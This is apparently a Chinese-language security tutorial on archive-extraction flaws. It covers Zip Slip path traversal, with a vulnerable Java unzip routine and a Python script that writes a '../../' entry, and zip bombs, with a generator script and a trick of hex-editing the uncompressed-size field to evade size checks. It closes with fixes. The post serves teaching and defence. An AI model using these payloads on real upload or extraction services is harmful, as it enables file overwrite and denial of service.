关于压缩的漏洞总结

一、zipSlip

Zip Slip是一个广泛存在的关键存档提取漏洞,该漏洞允许攻击者在系统中任意写文件,尤其是会导致远程命令执行。

利用条件:

1.有恶意压缩文件(恶意用户可以构造);

2.对解压路径不会执行检查或检测不到位。

测试代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
private static void unZip() throws IOException {
String srcPath="/Users/xxx/work/a/b/c/test.zip";
String outPath="/Users/xxx/work/a/b/c";
ZipFile zipFile = new ZipFile(srcPath);

//获取zip文件路径
String zipFilePath=zipFile.getName();
System.out.println("zipFilePath:" +zipFilePath);
//获取解压路径
File unZipPath=new File(outPath);
System.out.println("unZipPath:"+unZipPath);
//判断解压路径下是否存在
if (!unZipPath.exists()) {
unZipPath.mkdirs();
}
//遍历所有文件
Enumeration<? extends ZipEntry> entries = zipFile.entries();
while (entries.hasMoreElements()){
ZipEntry zipEntry = entries.nextElement();
String zipEntryName = zipEntry.getName();
InputStream ins = zipFile.getInputStream(zipEntry);
String outFilePath=outPath+'/'+zipEntryName;
System.out.println("outFilePath:"+outFilePath);

//判断路径是否存在,不存在则创建文件路径。
File file =new File(outFilePath);
if(!file.exists()){
file.mkdir();
}
//判断文件是否为文件夹
if(new File(outFilePath).isDirectory()){
continue;
}
FileOutputStream fileOutputStream = new FileOutputStream(outFilePath);
BufferedOutputStream bufferedOutputStream = new BufferedOutputStream(fileOutputStream);
byte[] bytes = new byte[1024];
int len;
while (( len= ins.read(bytes)) >0) {
bufferedOutputStream.write(bytes, 0, len);
}
//关闭流
bufferedOutputStream.close();
fileOutputStream.close();
}
}

构造恶意zip包:

1
2
3
4
5
import zipfile
zf = zipfile.ZipFile('test.zip', 'w')
# 要覆盖的文件,必须存在。
fname = '111.txt'
zf.write(fname, '../../111.txt')

生成恶意包后,执行上面java代码,发现zip包并没有解压到指定的路径,实现了目录穿越。

debug运行一下。可看到zipEntry.getName()方法并未对输入的名字做任何校验,直接拼接到解压路径中,以通过“../”的方式进行目录穿越

二、zipBomb

主要在存在上传功能且对上传文件有解压动作的地方,如果校验不严,可能导致压缩炸弹,导致dos攻击。

准备:

通过脚本构造恶意的压缩文件:

1
2
3
4
5
6
7
8
9
10
11
12
import zlib
import zipfile
from sys import argv

test = "0" * 100000
cmpstr = zlib.compress(test.encode('utf-8'))
to_cmp = test + str(cmpstr)
cmpstr = zlib.compress(to_cmp.encode('utf-8'))
zf = zipfile.ZipFile("test.zip" ,mode='w',compression=zipfile.ZIP_DEFLATED)
for i in range(int(argv[1])):
print(i)
zf.writestr('a'+ str(i) +'.txt',test)

只起演示效果,所以生成了500个100k的,可看到100k压缩包解压后的文件夹变成50m了。只扩大了500倍。

测试代码:

出现该漏洞的大多数是以下两情况,

1.完全无校验

2.只对压缩文件大小做校验。

此处以第二种情况为例,测试代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
private static void unZipBomb() throws IOException {
String srcPath ="/Users/xxx/Desktop/zipBomb/test.zip";
FileInputStream fis = new FileInputStream(srcPath);
BufferedInputStream bis = new BufferedInputStream(fis);
ZipInputStream zis = new ZipInputStream(bis);
ZipEntry zipEntry = zis.getNextEntry();
//获取压缩文件大小。
long zipEntrySize = zipEntry.getSize();
System.out.println("zipEntrySize:"+ zipEntrySize);
zis.close();
bis.close();
fis.close();
}

得到压缩文件大小,

这里,我们可以通过修改压缩包的大小实现绕过,用二进制文件打开zip压缩包,如下图所示:

zip结构如下,这里,我们只对“uint frUncompressedSize”字段感兴趣。

  • struct ZIPFILERECORD record :文件名;
  • uint frUncompressedSize:解压后的文件大小

将100000全部替换成100.重新执行java测试文件:

修复方式:

对文件名、解压文件大小和个数都进行检测:

1.除了在解压每个条目之前对其文件名进行校验;

2.while循环代码检查从zip存档文件中解压出来的每个文件条目的大小是否大于100MB;

3.最后计算从存档文件中解压出来的文件条目总数,如果超过1000个,则抛出异常。